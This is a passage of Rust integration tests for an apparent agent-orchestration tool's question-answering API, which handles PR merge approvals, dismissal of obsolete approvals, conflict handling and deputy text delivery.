13123 for owner in ["missing", "current", "completed", "later"] {
13124 let fx = Fixture {
13125 home: TempDir::new().unwrap(),
13126 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13127 };
13128 let mut state = obsolete_approval_state();
13129 state.status = RunStatus::Landing;
13130 state.parked = true;
13131 state.driver_exited = true;
13132 let mut q = Question::new(
13133 state.id.clone(),
13134 crate::land::APPROVAL_NODE.into(),
13135 "land".into(),
13136 "Old approval".into(),
13137 "Original evidence".into(),
13138 vec!["merge".into(), "hold".into()],
13139 );
13140 state.land_approval = Some(crate::run::LandApproval {
13141 question: q.id.clone(),
13142 head: "head".into(),
13143 });
13144 state.save_under(fx.home.path()).unwrap();
13145 let stale = state.clone();
13146 fx.questions().put(&mut q).unwrap();
13147 let mut task = Task::new(
13148 "Owner".into(),
13149 "Original instruction".into(),
13150 state.repo.clone(),
13151 Source::Human,
13152 );
13153 task.runs.push(state.id.clone());
13154 task.status = if owner == "completed" {
13155 TaskStatus::Done
13156 } else {
13157 TaskStatus::Parked
13158 };
13159 if owner == "later" {
13160 task.runs.push("later-run".into());
13161 }
13162 if owner != "missing" {
13163 fx.queue().put(&mut task).unwrap();
13164 }
13165 let ui = Arc::new(Ui::new(
13166 fx.queue(),
13167 fx.questions(),
13168 fx.talks(),
13169 fx.runs(),
13170 fx.home.path().into(),
13171 state.repo.clone(),
13172 ));
13173 let response = question_answer(
13174 State(ui),
13175 Path(q.id.clone()),
13176 Ok(Json(NewAnswer {
13177 choice: Some(crate::merge_decision::DISMISS.into()),
13178 text: None,
13179 ..Default::default()
13180 })),
13181 )
13182 .await
13183 .unwrap();
13184 assert_eq!(
13185 response.0.question.resolution().as_deref(),
13186 Some(crate::merge_decision::DISMISS)
13187 );
13188 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13189 assert_eq!(disk.status, RunStatus::Superseded);
13190 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
13191 assert!(!crate::merge_decision::resumable_hold(&disk));
13192 assert_eq!(
13193 serde_json::to_value(&disk.pr).unwrap(),
13194 serde_json::to_value(&stale.pr).unwrap()
13195 );
13196 assert_eq!(fx.questions().count_open(), 0);
13197 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
13198 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13199 if owner == "missing" {
13200 assert!(fx.queue().list().is_empty());
13201 } else {
13202 let after = fx.queue().get(&task.id).unwrap();
13203 assert_eq!(
13204 after.status,
13205 if owner == "current" {
13206 TaskStatus::Done
13207 } else {
13208 task.status
13209 }
13210 );
13211 assert_eq!(after.runs, task.runs);
13212 assert_eq!(after.instruction, task.instruction);
13213 assert_eq!(after.action_applied(&q.id), owner == "current");
13214 }
13215 }
13216 }
13217
13218 #[tokio::test]
13219 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
13220 let fx = Fixture::start().await;
13221 let mut state = obsolete_approval_state();
13222 state.status = RunStatus::Landing;
13223 state.parked = true;
13224 state.driver_exited = true;
13225 let mut q = Question::new(
13226 state.id.clone(),
13227 crate::land::APPROVAL_NODE.into(),
13228 "land".into(),
13229 "Superseded PR approval".into(),
13230 "Original review evidence".into(),
13231 vec!["merge".into(), "hold".into()],
13232 );
13233 state.land_approval = Some(crate::run::LandApproval {
13234 question: q.id.clone(),
13235 head: "old-reviewed-head".into(),
13236 });
13237 state.save_under(fx.home.path()).unwrap();
13240 let stale_driver = state.clone();
13241 fx.questions().put(&mut q).unwrap();
13242 let path = fx
13243 .home
13244 .path()
13245 .join("questions")
13246 .join(format!("{}.json", q.id));
13247 let mut legacy = serde_json::to_value(&q).unwrap();
13248 legacy["schema"] = 9.into();
13249 legacy.as_object_mut().unwrap().remove("merge_target");
13250 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
13251
13252 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13255 let answer_path = format!("/api/questions/{}/answer", q.id);
13256 let res = fx.post(&answer_path, Some(&body)).await;
13257 assert_eq!(res.status, 200, "{}", res.body);
13258 let disk = fx.questions().get(&q.id).unwrap();
13259 assert_eq!(
13260 disk.resolution().as_deref(),
13261 Some(crate::merge_decision::DISMISS)
13262 );
13263 assert!(disk.detail.starts_with("Original review evidence"));
13264 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
13265 assert_eq!(retired.status, RunStatus::Superseded);
13266 assert_eq!(
13267 serde_json::to_value(&retired.pr).unwrap(),
13268 serde_json::to_value(&state.pr).unwrap()
13269 );
13270 assert!(!retired.merge_decision.as_ref().unwrap().closed);
13271 assert!(!crate::merge_decision::resumable_hold(&retired));
13272 assert!(fx.queue().list().is_empty());
13273 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13274 let addr = Fixture::serve(
13276 fx.home.path(),
13277 PathBuf::from("/repo/magi"),
13278 launch_idle,
13279 None,
13280 )
13281 .await;
13282 let reconnected = Fixture {
13283 home: fx.home,
13284 addr,
13285 };
13286 let listed = reconnected.get("/api/questions").await.json();
13287 assert!(
13288 listed
13289 .as_array()
13290 .unwrap()
13291 .iter()
13292 .all(|q| q["status"] != "open")
13293 );
13294 assert_eq!(listed[0]["id"], q.id, "history remains available");
13295 assert_eq!(
13296 reconnected.get("/api/health").await.json()["questions_open"],
13297 0
13298 );
13299 assert_eq!(
13300 reconnected
13301 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
13302 .await
13303 .status,
13304 409
13305 );
13306 assert!(
13308 reconnected
13309 .questions()
13310 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
13311 .is_err()
13312 );
13313 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
13316 }
13317
13318 #[tokio::test]
13319 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
13320 let fx = Fixture::start().await;
13321 let mut state = obsolete_approval_state();
13322 state.status = RunStatus::Landing;
13323 state.driver_exited = true;
13324 let mut q = Question::new(
13325 state.id.clone(),
13326 crate::land::APPROVAL_NODE.into(),
13327 "land".into(),
13328 "Obsolete approval".into(),
13329 String::new(),
13330 vec!["merge".into(), "hold".into()],
13331 );
13332 state.land_approval = Some(crate::run::LandApproval {
13333 question: q.id.clone(),
13334 head: "head".into(),
13335 });
13336 state.save_under(fx.home.path()).unwrap();
13337 fx.questions().put(&mut q).unwrap();
13338 let mut task = Task::new(
13339 "Owner".into(),
13340 "Original instruction".into(),
13341 state.repo.clone(),
13342 Source::Human,
13343 );
13344 task.runs = vec![state.id.clone(), "later-run".into()];
13345 fx.queue().put(&mut task).unwrap();
13346 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
13347 let claim = fx.queue().claim(&task.id).unwrap();
13348 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13349 let path = format!("/api/questions/{}/answer", q.id);
13350 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13351 assert!(fx.questions().get(&q.id).unwrap().status.open());
13352 drop(claim);
13353 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
13354 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13355 assert!(fx.questions().get(&q.id).unwrap().status.open());
13356 drop(publication);
13357 state.driver_exited = false;
13359 state.driver_pid = None;
13360 state.driver_claimed = None; state.save_under(fx.home.path()).unwrap();
13362 assert_eq!(
13363 state.liveness_under(fx.home.path(), false),
13364 crate::run::Liveness::Unknown
13365 );
13366
13367 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13368 state.driver_exited = true;
13369 state.land_armed_head = Some("head".into());
13370 state.save_under(fx.home.path()).unwrap();
13371 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13372 state.land_armed_head = None;
13373 state.save_under(fx.home.path()).unwrap();
13374 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
13375 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13376 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
13377 }
13378
13379 #[tokio::test]
13380 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
13381 let fx = Fixture::start().await;
13382 let mut state = obsolete_approval_state();
13383 state.status = RunStatus::Landing;
13384 state.driver_exited = true;
13385 let mut q = Question::new(
13386 state.id.clone(),
13387 crate::land::APPROVAL_NODE.into(),
13388 "land".into(),
13389 "Obsolete approval".into(),
13390 String::new(),
13391 vec!["merge".into(), "hold".into()],
13392 );
13393 state.land_approval = Some(crate::run::LandApproval {
13394 question: q.id.clone(),
13395 head: "head".into(),
13396 });
13397 state.save_under(fx.home.path()).unwrap();
13398 fx.questions().put(&mut q).unwrap();
13399 let mut task = Task::new(
13400 "Owner".into(),
13401 "Original instruction".into(),
13402 state.repo.clone(),
13403 Source::Human,
13404 );
13405 task.runs.push(state.id.clone());
13406 task.status = TaskStatus::Parked;
13407 fx.queue().put(&mut task).unwrap();
13408 state.merge_decision = Some(crate::merge_decision::Decision {
13411 question: q.id.clone(),
13412 target: crate::merge_decision::Target {
13413 pr: state.pr.as_ref().unwrap().url.clone(),
13414 head: "head".into(),
13415 language: "ja".into(),
13416 },
13417 choice: crate::merge_decision::DISMISS.into(),
13418 closed: false,
13419 replacement_run: None,
13420 replacement_pr: None,
13421 });
13422 state.status = RunStatus::Superseded;
13423 state.save_under(fx.home.path()).unwrap();
13424 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13425 let path = format!("/api/questions/{}/answer", q.id);
13426 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
13427 let done = fx.queue().get(&task.id).unwrap();
13428 assert_eq!(done.status, TaskStatus::Done);
13429 assert_eq!(done.runs, task.runs);
13430 assert_eq!(done.instruction, task.instruction);
13431 assert!(done.action_applied(&q.id));
13432 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13433 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
13434 assert!(!fx.questions().get(&q.id).unwrap().status.open());
13435 }
13436
13437 #[tokio::test]
13438 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
13439 let home = TempDir::new().unwrap();
13440 let ui = Arc::new(Ui::new(
13441 Queue::at(home.path().join("queue")),
13442 Questions::at(home.path().join("questions")),
13443 Talks::at(home.path().join("talks")),
13444 home.path().join("runs"),
13445 home.path().to_owned(),
13446 home.path().to_owned(),
13447 ));
13448 let talks = &ui.talks;
13449 let chat =
13450 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
13451 let mut q = Question::new(
13452 "run".into(),
13453 crate::land::APPROVAL_NODE.into(),
13454 "land".into(),
13455 "Merge?".into(),
13456 String::new(),
13457 vec!["merge".into(), "hold".into()],
13458 );
13459 q.routed_task = Some("task".into());
13460 q.routed_chat = Some(chat.id.clone());
13461 q.merge_target = Some(crate::merge_decision::Target {
13462 pr: "https://example.test/pull/1".into(),
13463 head: "head-a".into(),
13464 language: "en".into(),
13465 });
13466 ui.questions.put(&mut q).unwrap();
13467 let send = |body| {
13468 question_answer(
13469 State(ui.clone()),
13470 Path(q.id.clone()),
13471 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
13472 )
13473 };
13474 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
13475 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
13476 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
13477 assert!(send(wrong_chat).await.is_err());
13478 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
13479 assert!(send(stale).await.is_err());
13480 assert!(ui.questions.get(&q.id).unwrap().status.open());
13481 assert!(send(button.clone()).await.is_ok());
13482 assert_eq!(
13483 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13484 Some("merge")
13485 );
13486 assert!(send(button).await.is_err());
13487 }
13488
13489 #[tokio::test]
13490 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
13491 let home = TempDir::new().unwrap();
13492 let ui = Arc::new(Ui::new(
13493 Queue::at(home.path().join("queue")),
13494 Questions::at(home.path().join("questions")),
13495 Talks::at(home.path().join("talks")),
13496 home.path().join("runs"),
13497 home.path().to_owned(),
13498 home.path().to_owned(),
13499 ));
13500 for choice in [crate::land::APPROVE, crate::land::HOLD] {
13501 let mut q = Question::new(
13502 "run".into(),
13503 crate::land::APPROVAL_NODE.into(),
13504 "land".into(),
13505 "Merge?".into(),
13506 String::new(),
13507 vec!["merge".into(), choice.into()],
13508 );
13509 q.routed_task = Some("task".into());
13510 q.merge_target = Some(crate::merge_decision::Target {
13511 pr: "https://example.test/pull/1".into(),
13512 head: "head-a".into(),
13513 language: "en".into(),
13514 });
13515 ui.questions.put(&mut q).unwrap();
13516 let answer = |c: &str| {
13517 question_answer(
13518 State(ui.clone()),
13519 Path(q.id.clone()),
13520 Ok(Json(
13521 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
13522 .unwrap(),
13523 )),
13524 )
13525 };
13526 let _ = answer(choice).await.unwrap();
13527 assert_eq!(
13528 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13529 Some(choice)
13530 );
13531 }
13532 }
13533
13534 #[tokio::test]
13535 async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
13536 let home = TempDir::new().unwrap();
13537 let ui = Arc::new(Ui::new(
13538 Queue::at(home.path().join("queue")),
13539 Questions::at(home.path().join("questions")),
13540 Talks::at(home.path().join("talks")),
13541 home.path().join("runs"),
13542 home.path().to_owned(),
13543 home.path().to_owned(),
13544 ));
13545 let mut q = Question::new(
13546 "run".into(),
13547 crate::github_text::ASK_NODE.into(),
13548 "posting-gate".into(),
13549 "Post?".into(),
13550 String::new(),
13551 vec!["use fallback".into()],
13552 );
13553 q.routed_task = Some("task".into());
13554 ui.questions.put(&mut q).unwrap();
13555 let sent = question_answer(
13556 State(ui.clone()),
13557 Path(q.id.clone()),
13558 Ok(Json(
13559 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13560 .unwrap(),
13561 )),
13562 )
13563 .await;
13564 let _ = sent.unwrap();
13565 assert_eq!(
13566 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13567 Some("use fallback")
13568 );
13569 }
13570
13571 #[tokio::test]
13572 async fn merge_decision_api_persists_exact_target_and_selected_action() {
13573 let fx = Fixture {
13574 home: TempDir::new().unwrap(),
13575 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13576 };
13577 for choice in [
13578 crate::land::HOLD,
13579 crate::land::REPAIR,
13580 crate::land::APPROVE,
13581 crate::merge_decision::WITHDRAW,
13582 "reimplement:beta",
13583 ] {
13584 let mut q = Question::new(
13585 "old-run".into(),
13586 crate::land::APPROVAL_NODE.into(),
13587 "land".into(),
13588 "Decision".into(),
13589 "Review findings".into(),
13590 vec![
13591 "merge".into(),
13592 "hold".into(),
13593 crate::land::REPAIR.into(),
13594 crate::merge_decision::WITHDRAW.into(),
13595 "reimplement:beta".into(),
13596 ],
13597 );
13598 q.merge_target = Some(crate::merge_decision::Target {
13599 pr: "https://github.com/example/repo/pull/42".into(),
13600 head: "exact-reviewed-head".into(),
13601 language: "ja".into(),
13602 });
13603 q.consult = Some(ask::ChatConsult {
13604 talk: "another-conversation".into(),
13605 at: jiff::Timestamp::now(),
13606 });
13607 fx.questions().put(&mut q).unwrap();
13608 let ui = Arc::new(Ui::new(
13609 fx.queue(),
13610 fx.questions(),
13611 fx.talks(),
13612 fx.runs(),
13613 fx.home.path().into(),
13614 std::path::PathBuf::from("."),
13615 ));
13616 let response = question_answer(
13617 State(ui.clone()),
13618 Path(q.id.clone()),
13619 Ok(Json(NewAnswer {
13620 choice: Some(choice.into()),
13621 text: None,
13622 ..Default::default()
13623 })),
13624 )
13625 .await
13626 .unwrap();
13627 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13628 let disk = fx.questions().get(&q.id).unwrap();
13629 assert_eq!(disk.merge_target, q.merge_target);
13630 assert_eq!(disk.consult, q.consult);
13631 assert_eq!(disk.resolution().as_deref(), Some(choice));
13632 assert!(
13633 question_answer(
13634 State(ui),
13635 Path(q.id.clone()),
13636 Ok(Json(NewAnswer {
13637 choice: Some("merge".into()),
13638 text: None,
13639 ..Default::default()
13640 }))
13641 )
13642 .await
13643 .is_err(),
13644 "an already settled decision cannot turn into merge approval"
13645 );
13646 }
13647 }
13648
13649 #[tokio::test]
13650 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13651 let fx = Fixture {
13652 home: TempDir::new().unwrap(),
13653 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13654 };
13655 let mut state = crate::land::tests::repair_state(true, true);
13656 state.status = RunStatus::Landing;
13657 state.parked = true;
13658 state.driver_exited = true;
13659 let mut task = Task::new(
13660 "Existing PR owner".into(),
13661 state.instruction.clone(),
13662 state.repo.clone(),
13663 Source::Human,
13664 );
13665 task.runs.push(state.id.clone());
13666 task.status = TaskStatus::Parked;
13667 fx.queue().put(&mut task).unwrap();
13668 let mut q = Question::new(
13669 state.id.clone(),
13670 crate::land::APPROVAL_NODE.into(),
13671 "land".into(),
13672 "Contested merge".into(),
13673 "Original evidence".into(),
13674 vec!["merge".into(), "hold".into()],
13675 );
13676 state.land_approval = Some(crate::run::LandApproval {
13677 question: q.id.clone(),
13678 head: "reviewed-head".into(),
13679 });
13680 state.save_under(fx.home.path()).unwrap();
13681 fx.questions().put(&mut q).unwrap();
13682 task.hold_manual(Some("Pause this PR".into()));
13684 fx.queue().put(&mut task).unwrap();
13685 let ui = Arc::new(Ui::new(
13688 fx.queue(),
13689 fx.questions(),
13690 fx.talks(),
13691 fx.runs(),
13692 fx.home.path().to_path_buf(),
13693 state.repo.clone(),
13694 ));
13695 let response = question_answer(
13696 State(ui),
13697 Path(q.id.clone()),
13698 Ok(Json(NewAnswer {
13699 choice: Some(crate::land::REPAIR.into()),
13700 text: None,
13701 ..Default::default()
13702 })),
13703 )
13704 .await
13705 .unwrap();
13706 assert_eq!(response.0.question.id, q.id);
13707 let upgraded = fx.questions().get(&q.id).unwrap();
13708 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13709 assert!(upgraded.detail.starts_with("Original evidence"));
13710 let claim = fx.queue().claim(&task.id).unwrap();
13711 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13712 assert!(
13713 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13714 "an existing driver keeps its claim"
13715 );
13716 drop(claim);
13717 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13718 let resumed = fx.queue().get(&task.id).unwrap();
13719 assert_eq!(
13720 resumed
13721 .resume_override
13722 .as_ref()
13723 .unwrap()
13724 .pinned_run
13725 .as_deref(),
13726 Some(state.id.as_str())
13727 );
13728 assert!(resumed.status.runnable());
13729 assert_eq!(resumed.instruction, task.instruction);
13730 assert_eq!(resumed.runs, task.runs);
13731 assert!(resumed.action_applied(&q.id));
13732 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13733 assert_eq!(fx.queue().list().len(), 1);
13734 assert_eq!(
13735 fx.queue().get(&task.id).unwrap().resume_override,
13736 resumed.resume_override
13737 );
13738 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13739 assert!(
13740 disk.merge_repairs.is_empty(),
13741 "only the claimed run driver may execute repair"
13742 );
13743 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13744 }
13745
13746 #[tokio::test]
13747 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13748 let fx = Fixture::start().await;
13749 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13750 let path = format!("/api/questions/{id}/answer");
13751
13752 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13753 assert_eq!(res.status, 200, "{}", res.body);
13754 let body = res.json();
13755 assert_eq!(body["status"], "answered");
13756 assert_eq!(body["answer"]["choice"], "Redis");
13757
13758 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13762 assert_eq!(again.status, 409, "{}", again.body);
13763 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13764 }
13765
13766 #[tokio::test]
13767 async fn fresh_api_answers_survive_task_inquiry_migration() {
13768 use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13769 for migrate_first in [false, true] {
13770 let fx = Fixture::start().await;
13771 let mut task = Task::new(
13772 "work".into(),
13773 "work".into(),
13774 PathBuf::from("/repo/magi"),
13775 Source::Human,
13776 );
13777 task.runs.push("run-a".into());
13778 fx.queue().put(&mut task).unwrap();
13779 let mut q = Question::new(
13780 "run-a".into(),
13781 "implement".into(),
13782 "impl-A".into(),
13783 "Keep held?".into(),
13784 String::new(),
13785 vec!["hold".into()],
13786 );
13787 q.actions.insert("hold".into(), ChoiceAction::Hold);
13788 fx.questions().put(&mut q).unwrap();
13789 if migrate_first {
13790 crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13791 }
13792 let response = fx
13793 .post(
13794 &format!("/api/questions/{}/answer", q.id),
13795 Some(r#"{"choice":"hold"}"#),
13796 )
13797 .await;
13798 assert_eq!(response.status, 200, "{}", response.body);
13799 for _ in 0..2 {
13800 crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13801 let source = fx.questions().get(&q.id).unwrap();
13802 assert_eq!(source.resolution().as_deref(), Some("hold"));
13803 let decision = Outbox::at(fx.home.path())
13804 .get(&q.id)
13805 .unwrap()
13806 .decision
13807 .unwrap();
13808 assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13809 assert_eq!(decision.source_answer_at, source.answered_at);
13810 assert_eq!(decision.status, Status::Queued);
13811 }
13812 assert_eq!(
13813 fx.post(
13814 &format!("/api/questions/{}/answer", q.id),
13815 Some(r#"{"choice":"hold"}"#)
13816 )
13817 .await
13818 .status,
13819 409
13820 );
13821 }
13822 }
13823
13824 #[tokio::test]
13825 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13826 let home = tempfile::tempdir().unwrap();
13827 let ui = delta_test_ui(home.path());
13828 let mut q = Question::new(
13829 "task".into(),
13830 crate::land::APPROVAL_NODE.into(),
13831 "land".into(),
13832 "Explain?".into(),
13833 String::new(),
13834 vec!["hold".into()],
13835 );
13836 q.deputy = Some(ask::Deputy::new("context".into()));
13837 ui.questions.put(&mut q).unwrap();
13838 let mut cfg = stub_config();
13839 cfg.daemon.max_deputies = 0;
13840 let mut status = crate::daemon::Status::new();
13841 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13842 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13843 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13844 let error = question_say(
13845 State(ui.clone()),
13846 Path(q.id.clone()),
13847 Ok(Json(NewSay {
13848 body: "Explain the findings".into(),
13849 })),
13850 )
13851 .await
13852 .unwrap_err();
13853 assert_eq!(
13854 error.text_reason,
13855 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13856 );
13857 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13858
13859 let mut text = Question::new(
13860 "task".into(),
13861 "ask".into(),
13862 "operator".into(),
13863 "Which name?".into(),
13864 String::new(),
13865 vec![],
13866 );
13867 ui.questions.put(&mut text).unwrap();
13868 let Json(view) = question_answer(
13869 State(ui.clone()),
13870 Path(text.id.clone()),
13871 Ok(Json(NewAnswer {
13872 choice: None,
13873 text: Some("chosen name".into()),
13874 ..Default::default()
13875 })),
13876 )
13877 .await
13878 .unwrap();
13879 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13880 assert!(!ui.questions.get(&text.id).unwrap().status.open());
13881 }
13882
13883 #[tokio::test]
13884 async fn question_text_handler_admission_without_transport() {
13885 let home = tempfile::tempdir().unwrap();
13886 let ui = delta_test_ui(home.path());
13887 let mut q = Question::new(
13888 "task".into(),
13889 crate::land::APPROVAL_NODE.into(),
13890 "land".into(),
13891 "May this PR merge?".into(),
13892 String::new(),
13893 vec!["hold".into()],
13894 );
13895 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13896 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13897 ui.questions.put(&mut q).unwrap();
13898 let say = || {
13899 Ok(Json(NewSay {
13900 body: "Explain the findings".into(),
13901 }))
13902 };
13903 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13904 .await
13905 .unwrap_err();
13906 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13907 let response = rejected.into_response();
13908 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13909 .await
13910 .unwrap();
13911 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13912 assert_eq!(body["code"], "question_text_unavailable");
13913 assert_eq!(body["reason"], "deputy_exhausted");
13914 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13915 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13916 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13917 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13918 .await
13919 .unwrap();
13920 assert_eq!(view.text_delivery.state, "live");
13921 assert!(view.question.waiter.is_none());
13922 assert!(view.question.cwd.is_none());
13923 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13924 ui.questions.drop_lease(&q.id);
13925 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13926 .await
13927 .unwrap_err();
13928 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13929 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13930 let _ = question_answer(
13931 State(ui.clone()),
13932 Path(q.id.clone()),
13933 Ok(Json(NewAnswer {
13934 choice: Some("hold".into()),
13935 text: None,
13936 ..Default::default()
13937 })),
13938 )
13939 .await
13940 .unwrap();
13941 assert_eq!(
13942 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13943 Some("hold")
13944 );
13945 }
13946
13947 #[tokio::test]
13948 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13949 let fx = Fixture::start().await;
13950 let store = fx.questions();
13951 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13952 store
13953 .update(&id, |q| {
13954 q.node = crate::land::APPROVAL_NODE.to_owned();
13955 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13956 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13957 Ok(())
13958 })
13959 .unwrap();
13960 let path = format!("/api/questions/{id}/say");
13961 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13962 assert_eq!(refused.status, 422, "{}", refused.body);
13963 assert!(
13964 refused.json()["error"]
13965 .as_str()
13966 .unwrap()
13967 .contains("deputy_exhausted")
13968 );
13969 assert!(store.get(&id).unwrap().thread.is_empty());
13970
13971 store.beat(&id, ask::WaiterKind::Deputy);
13973 let view = fx.get("/api/questions").await.json();
13974 assert_eq!(view[0]["text_delivery"]["state"], "live");
13975 let accepted = fx
13976 .post(&path, Some(r#"{"body":"explain the findings"}"#))
13977 .await;
13978 assert_eq!(accepted.status, 200, "{}", accepted.body);
13979 let before = std::fs::read(store.path_of(&id)).unwrap();
13980
13981 store.drop_lease(&id);
13984 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13985 assert_eq!(refused.status, 422, "{}", refused.body);
13986 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13987 let held = fx
13988 .post(
13989 &format!("/api/questions/{id}/answer"),
13990 Some(r#"{"choice":"hold"}"#),
13991 )
13992 .await;
13993 assert_eq!(held.status, 200, "{}", held.body);
13994 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13995 }
13996
13997 #[tokio::test]
13998 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13999 let repo = tempfile::tempdir().unwrap();
14000 let mut cfg = stub_config();
14001 cfg.daemon.max_deputies = 0;
14002 std::fs::write(
14003 repo.path().join("magi.toml"),
14004 toml::to_string(&cfg).unwrap(),
14005 )
14006 .unwrap();
14007 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14008 let mut status = crate::daemon::Status::new();
14009 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
14010 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
14011 let id = ask(&fx, "Explain?", &["hold"]);
14012 fx.questions()
14013 .update(&id, |q| {
14014 q.node = crate::land::APPROVAL_NODE.into();
14015 q.deputy = Some(ask::Deputy::new("context".into()));
14016 q.deputy.as_mut().unwrap().agent = "stub".into();
14017 Ok(())
14018 })
14019 .unwrap();
14020 cfg.daemon.max_deputies = 1;
14021 std::fs::write(
14022 repo.path().join("magi.toml"),
14023 toml::to_string(&cfg).unwrap(),
14024 )
14025 .unwrap();
14026 let view = fx.get("/api/questions").await.json();
14027 assert_eq!(view[0]["deputies_enabled"], true);
14028 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
14029 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
14030 let res = fx
14031 .post(
14032 &format!("/api/questions/{id}/say"),
14033 Some(r#"{"body":"Please explain"}"#),
14034 )
14035 .await;
14036 assert_eq!(res.status, 422, "{}", res.body);
14037 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
14038 }
14039
14040 #[tokio::test]
